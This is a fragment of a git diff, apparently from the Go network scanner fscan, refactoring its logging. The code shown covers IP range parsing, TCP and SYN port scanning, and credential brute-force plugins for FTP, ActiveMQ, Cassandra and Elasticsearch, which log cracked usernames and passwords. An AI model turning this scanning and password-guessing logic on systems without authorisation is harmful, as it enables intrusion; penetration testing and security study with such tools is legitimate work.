||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
@ -270,54 +242,47 @@ func Readipfile(filename string) ([]string, error) {
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
// 逐行处理IP
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析IP:端口格式
|
||||
text := strings.Split(line, ":")
|
||||
if len(text) == 2 {
|
||||
port := strings.Split(text[1], " ")[0]
|
||||
num, err := strconv.Atoi(port)
|
||||
if err != nil || num < 1 || num > 65535 {
|
||||
fmt.Printf("[-] 忽略无效端口: %s\n", line)
|
||||
LogError(fmt.Sprintf("忽略无效端口: %s", line))
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析带端口的IP地址
|
||||
hosts := ParseIPs(text[0])
|
||||
for _, host := range hosts {
|
||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
||||
}
|
||||
fmt.Printf("[*] 已解析IP端口组合: %s\n", line)
|
||||
LogInfo(fmt.Sprintf("解析IP端口组合: %s", line))
|
||||
} else {
|
||||
// 解析纯IP地址
|
||||
hosts := ParseIPs(line)
|
||||
content = append(content, hosts...)
|
||||
fmt.Printf("[*] 已解析IP地址: %s\n", line)
|
||||
LogInfo(fmt.Sprintf("解析IP地址: %s", line))
|
||||
}
|
||||
}
|
||||
|
||||
// 检查扫描过程中是否有错误
|
||||
if err := scanner.Err(); err != nil {
|
||||
fmt.Printf("[-] 读取文件时出错: %v\n", err)
|
||||
LogError(fmt.Sprintf("读取文件错误: %v", err))
|
||||
return content, err
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content))
|
||||
LogInfo(fmt.Sprintf("从文件解析完成: %d 个IP地址", len(content)))
|
||||
return content, nil
|
||||
}
|
||||
|
||||
// RemoveDuplicate 对字符串切片进行去重
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
// 使用map存储不重复的元素
|
||||
temp := make(map[string]struct{})
|
||||
var result []string
|
||||
|
||||
// 遍历并去重
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
@ -335,7 +300,7 @@ func parseIP8(ip string) []string {
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
fmt.Printf("[-] 无效的IP地址格式: %s\n", realIP)
|
||||
LogError(fmt.Sprintf("无效的IP格式: %s", realIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
@ -343,7 +308,7 @@ func parseIP8(ip string) []string {
|
||||
ipRange := strings.Split(ip, ".")[0]
|
||||
var allIP []string
|
||||
|
||||
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange)
|
||||
LogInfo(fmt.Sprintf("解析网段: %s.0.0.0/8", ipRange))
|
||||
|
||||
// 遍历所有可能的第二、三段
|
||||
for a := 0; a <= 255; a++ {
|
||||
@ -364,17 +329,14 @@ func parseIP8(ip string) []string {
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP))
|
||||
LogInfo(fmt.Sprintf("生成采样IP: %d 个", len(allIP)))
|
||||
return allIP
|
||||
}
|
||||
|
||||
// RandInt 生成指定范围内的随机整数
|
||||
func RandInt(min, max int) int {
|
||||
// 参数验证
|
||||
if min >= max || min == 0 || max == 0 {
|
||||
return max
|
||||
}
|
||||
|
||||
// 生成随机数
|
||||
return rand.Intn(max-min) + min
|
||||
}
|
||||
|
@ -42,7 +42,7 @@ func ParsePort(ports string) []int {
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
fmt.Printf("[-] 无效的端口范围格式: %s\n", port)
|
||||
LogError(fmt.Sprintf("端口范围格式错误: %s", port))
|
||||
continue
|
||||
}
|
||||
|
||||
@ -63,7 +63,7 @@ func ParsePort(ports string) []int {
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
if i > 65535 || i < 1 {
|
||||
fmt.Printf("[-] 忽略无效端口: %d\n", i)
|
||||
LogError(fmt.Sprintf("忽略无效端口: %d", i))
|
||||
continue
|
||||
}
|
||||
scanPorts = append(scanPorts, i)
|
||||
@ -74,17 +74,15 @@ func ParsePort(ports string) []int {
|
||||
scanPorts = removeDuplicate(scanPorts)
|
||||
sort.Ints(scanPorts)
|
||||
|
||||
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts))
|
||||
LogInfo(fmt.Sprintf("有效端口数量: %d", len(scanPorts)))
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
// removeDuplicate 对整数切片进行去重
|
||||
func removeDuplicate(old []int) []int {
|
||||
// 使用map存储不重复的元素
|
||||
temp := make(map[int]struct{})
|
||||
var result []int
|
||||
|
||||
// 遍历并去重
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
|
@ -48,7 +48,7 @@ var pluginGroups = map[string][]string{
|
||||
|
||||
// ParseScanMode 解析扫描模式
|
||||
func ParseScanMode(mode string) {
|
||||
fmt.Printf("[*] 解析扫描模式: %s\n", mode)
|
||||
LogInfo(fmt.Sprintf("解析扫描模式: %s", mode))
|
||||
|
||||
// 检查是否是预设模式
|
||||
presetModes := []string{
|
||||
@ -60,9 +60,9 @@ func ParseScanMode(mode string) {
|
||||
if mode == presetMode {
|
||||
ScanMode = mode
|
||||
if plugins := GetPluginsForMode(mode); plugins != nil {
|
||||
fmt.Printf("[+] 使用预设模式: %s, 包含插件: %v\n", mode, plugins)
|
||||
LogInfo(fmt.Sprintf("使用预设模式: %s, 包含插件: %v", mode, plugins))
|
||||
} else {
|
||||
fmt.Printf("[+] 使用预设模式: %s\n", mode)
|
||||
LogInfo(fmt.Sprintf("使用预设模式: %s", mode))
|
||||
}
|
||||
return
|
||||
}
|
||||
@ -71,14 +71,14 @@ func ParseScanMode(mode string) {
|
||||
// 检查是否是有效的插件名
|
||||
if _, exists := PluginManager[mode]; exists {
|
||||
ScanMode = mode
|
||||
fmt.Printf("[+] 使用单个插件: %s\n", mode)
|
||||
LogInfo(fmt.Sprintf("使用单个插件: %s", mode))
|
||||
return
|
||||
}
|
||||
|
||||
// 默认使用All模式
|
||||
ScanMode = ModeAll
|
||||
fmt.Printf("[*] 未识别的模式,使用默认模式: %s\n", ModeAll)
|
||||
fmt.Printf("[+] 包含插件: %v\n", pluginGroups[ModeAll])
|
||||
LogInfo(fmt.Sprintf("未识别的模式,使用默认模式: %s", ModeAll))
|
||||
LogInfo(fmt.Sprintf("包含插件: %v", pluginGroups[ModeAll]))
|
||||
}
|
||||
|
||||
// GetPluginsForMode 获取指定模式下的插件列表
|
||||
|
@ -75,7 +75,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogError(err)
|
||||
Common.LogError(fmt.Sprintf("ICMP监听失败: %v", err))
|
||||
fmt.Println("[-] 正在尝试无监听ICMP探测...")
|
||||
|
||||
// 尝试无监听ICMP探测
|
||||
@ -86,7 +86,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogError(err)
|
||||
Common.LogError(fmt.Sprintf("ICMP连接失败: %v", err))
|
||||
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
|
||||
fmt.Println("[*] 切换为PING方式探测...")
|
||||
|
||||
@ -266,7 +266,7 @@ func ExecCommandPing(ip string) bool {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var command *exec.Cmd
|
||||
// 根据操作系统选择不同的ping命令
|
||||
switch runtime.GOOS {
|
||||
|
@ -3,13 +3,11 @@ package Core
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"github.com/Ullaakut/nmap"
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
"github.com/google/gopacket/pcap"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/net/ipv4"
|
||||
"log"
|
||||
"net"
|
||||
"runtime"
|
||||
"sort"
|
||||
@ -25,12 +23,12 @@ type Addr struct {
|
||||
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
var mu sync.Mutex // 添加互斥锁保护 AliveAddress
|
||||
var mu sync.Mutex
|
||||
|
||||
// 解析端口列表
|
||||
probePorts := Common.ParsePort(ports)
|
||||
if len(probePorts) == 0 {
|
||||
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports)
|
||||
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
@ -75,12 +73,11 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
}
|
||||
}
|
||||
|
||||
// 按顺序关闭并等待
|
||||
close(addrs)
|
||||
workerWg.Wait() // 等待所有扫描worker完成
|
||||
wg.Wait() // 等待所有扫描任务完成
|
||||
close(results) // 关闭结果通道
|
||||
resultWg.Wait() // 等待结果处理完成
|
||||
workerWg.Wait()
|
||||
wg.Wait()
|
||||
close(results)
|
||||
resultWg.Wait()
|
||||
|
||||
return AliveAddress
|
||||
}
|
||||
@ -111,10 +108,7 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy
|
||||
|
||||
// 记录开放端口
|
||||
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
|
||||
protocol := "TCP"
|
||||
result := fmt.Sprintf("[+] %s端口开放 %s", protocol, address)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
|
||||
respondingHosts <- address
|
||||
}
|
||||
|
||||
@ -168,30 +162,27 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
|
||||
|
||||
sendConn, err := net.ListenPacket("ip4:tcp", "0.0.0.0")
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("创建发送套接字失败: %v", err)
|
||||
return false, fmt.Errorf("发送套接字错误: %v", err)
|
||||
}
|
||||
defer sendConn.Close()
|
||||
|
||||
rawConn, err := ipv4.NewRawConn(sendConn)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("获取原始连接失败: %v", err)
|
||||
return false, fmt.Errorf("原始连接错误: %v", err)
|
||||
}
|
||||
|
||||
dstIP := net.ParseIP(ip)
|
||||
if dstIP == nil {
|
||||
return false, fmt.Errorf("无效的IP地址: %s", ip)
|
||||
return false, fmt.Errorf("IP地址无效: %s", ip)
|
||||
}
|
||||
|
||||
// 打开正确的网络接口
|
||||
handle, err := pcap.OpenLive(ifName, 65536, true, pcap.BlockForever)
|
||||
if err != nil {
|
||||
// 如果失败,尝试查找可用接口
|
||||
ifaces, err := pcap.FindAllDevs()
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("无法找到网络接口: %v", err)
|
||||
return false, fmt.Errorf("网络接口错误: %v", err)
|
||||
}
|
||||
|
||||
// 遍历查找可用接口
|
||||
var found bool
|
||||
for _, iface := range ifaces {
|
||||
handle, err = pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever)
|
||||
@ -202,7 +193,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
|
||||
}
|
||||
|
||||
if !found {
|
||||
return false, fmt.Errorf("无法打开任何网络接口")
|
||||
return false, fmt.Errorf("未找到可用网络接口")
|
||||
}
|
||||
}
|
||||
defer handle.Close()
|
||||
@ -210,9 +201,10 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
|
||||
srcPort := 12345 + port
|
||||
filter := fmt.Sprintf("tcp and src port %d and dst port %d", port, srcPort)
|
||||
if err := handle.SetBPFFilter(filter); err != nil {
|
||||
return false, fmt.Errorf("设置过滤器失败: %v", err)
|
||||
return false, fmt.Errorf("过滤器错误: %v", err)
|
||||
}
|
||||
|
||||
// TCP头部设置保持不变
|
||||
tcpHeader := &ipv4.Header{
|
||||
Version: 4,
|
||||
Len: 20,
|
||||
@ -222,6 +214,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
|
||||
Dst: dstIP,
|
||||
}
|
||||
|
||||
// SYN包构造保持不变
|
||||
synPacket := make([]byte, 20)
|
||||
binary.BigEndian.PutUint16(synPacket[0:2], uint16(srcPort))
|
||||
binary.BigEndian.PutUint16(synPacket[2:4], uint16(port))
|
||||
@ -237,7 +230,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
|
||||
binary.BigEndian.PutUint16(synPacket[16:18], checksum)
|
||||
|
||||
if err := rawConn.WriteTo(tcpHeader, synPacket, nil); err != nil {
|
||||
return false, fmt.Errorf("发送SYN包失败: %v", err)
|
||||
return false, fmt.Errorf("SYN包发送错误: %v", err)
|
||||
}
|
||||
|
||||
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
|
||||
@ -311,43 +304,6 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 {
|
||||
return ^uint16(sum)
|
||||
}
|
||||
|
||||
func UDPScan(ip string, port int, timeout int64) (bool, error) {
|
||||
// 构造端口字符串
|
||||
portStr := fmt.Sprintf("%d", port)
|
||||
|
||||
// 配置nmap扫描
|
||||
scanner, err := nmap.NewScanner(
|
||||
nmap.WithTargets(ip),
|
||||
nmap.WithPorts(portStr),
|
||||
nmap.WithUDPScan(),
|
||||
nmap.WithTimingTemplate(nmap.TimingAggressive),
|
||||
)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("创建扫描器失败: %v", err)
|
||||
}
|
||||
|
||||
// 执行扫描
|
||||
result, warnings, err := scanner.Run()
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("扫描执行失败: %v", err)
|
||||
}
|
||||
if warnings != nil {
|
||||
log.Printf("扫描警告: %v", warnings)
|
||||
}
|
||||
|
||||
// 检查结果
|
||||
for _, host := range result.Hosts {
|
||||
for _, p := range host.Ports {
|
||||
if int(p.ID) == port &&
|
||||
(p.State.State == "open" || p.State.State == "open|filtered") {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// 获取系统对应的接口名
|
||||
func getInterfaceName() string {
|
||||
switch runtime.GOOS {
|
||||
|
@ -7,12 +7,12 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
// Scan 执行扫描主流程
|
||||
func Scan(info Common.HostInfo) {
|
||||
fmt.Println("[*] 开始信息扫描...")
|
||||
|
||||
Common.LogInfo("开始信息扫描")
|
||||
Common.ParseScanMode(Common.ScanMode)
|
||||
|
||||
ch := make(chan struct{}, Common.ThreadNum)
|
||||
@ -28,7 +28,7 @@ func Scan(info Common.HostInfo) {
|
||||
// 初始化并解析目标
|
||||
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 解析主机错误: %v\n", err)
|
||||
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
|
||||
return
|
||||
}
|
||||
lib.Inithttp()
|
||||
@ -42,50 +42,44 @@ func Scan(info Common.HostInfo) {
|
||||
func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
var targetInfos []Common.HostInfo
|
||||
|
||||
// 处理主机和端口扫描
|
||||
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
||||
// ICMP存活性检测
|
||||
if (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() {
|
||||
hosts = CheckLive(hosts, Common.UsePing)
|
||||
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(hosts))
|
||||
Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
||||
if Common.IsICMPScan() {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 获取存活端口
|
||||
var alivePorts []string
|
||||
if Common.IsWebScan() {
|
||||
alivePorts = NoPortScan(hosts, Common.Ports)
|
||||
} else if len(hosts) > 0 {
|
||||
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
|
||||
fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts))
|
||||
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||
if Common.IsPortScan() {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 处理自定义端口
|
||||
if len(Common.HostPort) > 0 {
|
||||
alivePorts = append(alivePorts, Common.HostPort...)
|
||||
alivePorts = Common.RemoveDuplicate(alivePorts)
|
||||
Common.HostPort = nil
|
||||
fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts))
|
||||
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||
}
|
||||
|
||||
targetInfos = prepareTargetInfos(alivePorts, info)
|
||||
}
|
||||
|
||||
// 准备URL扫描目标
|
||||
for _, url := range Common.URLs {
|
||||
urlInfo := info
|
||||
urlInfo.Url = url
|
||||
targetInfos = append(targetInfos, urlInfo)
|
||||
}
|
||||
|
||||
// 执行扫描任务
|
||||
if len(targetInfos) > 0 {
|
||||
fmt.Println("[*] 开始漏洞扫描...")
|
||||
Common.LogInfo("开始漏洞扫描")
|
||||
executeScans(targetInfos, ch, wg)
|
||||
}
|
||||
}
|
||||
@ -96,7 +90,7 @@ func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.
|
||||
for _, targetIP := range alivePorts {
|
||||
hostParts := strings.Split(targetIP, ":")
|
||||
if len(hostParts) != 2 {
|
||||
fmt.Printf("[-] 无效的目标地址格式: %s\n", targetIP)
|
||||
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
|
||||
continue
|
||||
}
|
||||
info := baseInfo
|
||||
@ -112,54 +106,42 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro
|
||||
var pluginsToRun []string
|
||||
isSinglePlugin := false
|
||||
|
||||
// 获取要执行的插件列表
|
||||
if plugins := Common.GetPluginsForMode(mode); plugins != nil {
|
||||
// 预设模式下使用配置的插件组
|
||||
pluginsToRun = plugins
|
||||
fmt.Printf("[*] 正在加载插件组: %s\n", mode)
|
||||
Common.LogInfo(fmt.Sprintf("加载插件组: %s", mode))
|
||||
} else {
|
||||
// 单插件模式
|
||||
pluginsToRun = []string{mode}
|
||||
isSinglePlugin = true
|
||||
fmt.Printf("[*] 正在加载单插件: %s\n", mode)
|
||||
Common.LogInfo(fmt.Sprintf("使用单个插件: %s", mode))
|
||||
}
|
||||
|
||||
// 统一处理所有目标和插件
|
||||
for _, target := range targets {
|
||||
targetPort, _ := strconv.Atoi(target.Ports)
|
||||
|
||||
for _, pluginName := range pluginsToRun {
|
||||
// 获取插件信息
|
||||
plugin, exists := Common.PluginManager[pluginName]
|
||||
if !exists {
|
||||
fmt.Printf("[-] 插件 %s 不存在\n", pluginName)
|
||||
Common.LogError(fmt.Sprintf("插件 %s 不存在", pluginName))
|
||||
continue
|
||||
}
|
||||
|
||||
// 本地扫描模式的特殊处理
|
||||
if Common.LocalScan {
|
||||
if len(plugin.Ports) == 0 {
|
||||
fmt.Printf("[+] 载入插件: %s\n", pluginName)
|
||||
AddScan(pluginName, target, ch, wg)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 单插件模式直接执行,不检查端口
|
||||
if isSinglePlugin {
|
||||
fmt.Printf("[+] 载入插件: %s\n", pluginName)
|
||||
AddScan(pluginName, target, ch, wg)
|
||||
continue
|
||||
}
|
||||
|
||||
// 预设模式下的常规处理
|
||||
if len(plugin.Ports) > 0 {
|
||||
if plugin.HasPort(targetPort) {
|
||||
fmt.Printf("[+] 载入插件: %s (端口: %d)\n", pluginName, targetPort)
|
||||
AddScan(pluginName, target, ch, wg)
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("[+] 载入插件: %s\n", pluginName)
|
||||
AddScan(pluginName, target, ch, wg)
|
||||
}
|
||||
}
|
||||
@ -169,9 +151,11 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro
|
||||
// finishScan 完成扫描任务
|
||||
func finishScan(wg *sync.WaitGroup) {
|
||||
wg.Wait()
|
||||
// 先发送最后的成功消息
|
||||
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
|
||||
// 等待日志处理完成后再关闭通道
|
||||
Common.LogWG.Wait()
|
||||
close(Common.Results)
|
||||
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
|
||||
}
|
||||
|
||||
// Mutex用于保护共享资源的并发访问
|
||||
@ -193,7 +177,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
|
||||
|
||||
// 增加总任务数
|
||||
Mutex.Lock()
|
||||
Common.Num += 1
|
||||
atomic.AddInt64(&Common.Num, 1)
|
||||
Mutex.Unlock()
|
||||
|
||||
// 执行扫描
|
||||
@ -201,7 +185,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
|
||||
|
||||
// 增加已完成任务数
|
||||
Mutex.Lock()
|
||||
Common.End += 1
|
||||
atomic.AddInt64(&Common.End, 1)
|
||||
Mutex.Unlock()
|
||||
}()
|
||||
}
|
||||
@ -210,20 +194,18 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
|
||||
func ScanFunc(name *string, info *Common.HostInfo) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
}()
|
||||
|
||||
// 检查插件是否存在
|
||||
plugin, exists := Common.PluginManager[*name]
|
||||
if !exists {
|
||||
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
|
||||
Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name))
|
||||
return
|
||||
}
|
||||
|
||||
// 直接调用扫描函数
|
||||
if err := plugin.ScanFunc(info); err != nil {
|
||||
fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -100,7 +100,7 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) {
|
||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
|
||||
return "", fmt.Errorf("创建加密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取块大小并填充数据
|
||||
@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// base64解码
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] base64解码失败: %v", err)
|
||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// 创建解密块
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
|
||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建CBC解密模式
|
||||
@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// 去除填充
|
||||
origData, err = PKCS7UnPadding(origData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
|
||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
||||
}
|
||||
|
||||
return string(origData), nil
|
||||
@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte {
|
||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("[-] 数据长度为0")
|
||||
return nil, errors.New("数据长度为0")
|
||||
}
|
||||
|
||||
padding := int(data[length-1])
|
||||
if padding > length {
|
||||
return nil, errors.New("[-] 填充长度无效")
|
||||
return nil, errors.New("填充长度无效")
|
||||
}
|
||||
|
||||
return data[:length-padding], nil
|
||||
|
@ -98,7 +98,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -172,7 +172,7 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error
|
||||
}
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Cassandra服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
@ -101,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -178,7 +178,7 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error)
|
||||
|
||||
// 检查响应状态
|
||||
if resp.StatusCode == 200 {
|
||||
result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Elasticsearch服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
107
Plugins/FTP.go
107
Plugins/FTP.go
@ -1,6 +1,7 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
@ -17,8 +18,10 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
threads := Common.BruteThreads
|
||||
successChan := make(chan struct{}, 1)
|
||||
defer close(successChan)
|
||||
|
||||
// 创建带取消功能的context
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
// 先尝试匿名登录
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
@ -26,7 +29,7 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
if flag && err == nil {
|
||||
return nil
|
||||
}
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if err != nil && !strings.Contains(err.Error(), "Login incorrect") {
|
||||
@ -40,36 +43,41 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
// 创建任务通道
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
pass string
|
||||
}, len(Common.Userdict["ftp"])*len(Common.Passwords))
|
||||
|
||||
// 任务分发goroutine
|
||||
go func() {
|
||||
defer close(taskChan)
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan error, threads)
|
||||
|
||||
// 生成所有用户名密码组合任务
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for task := range taskChan {
|
||||
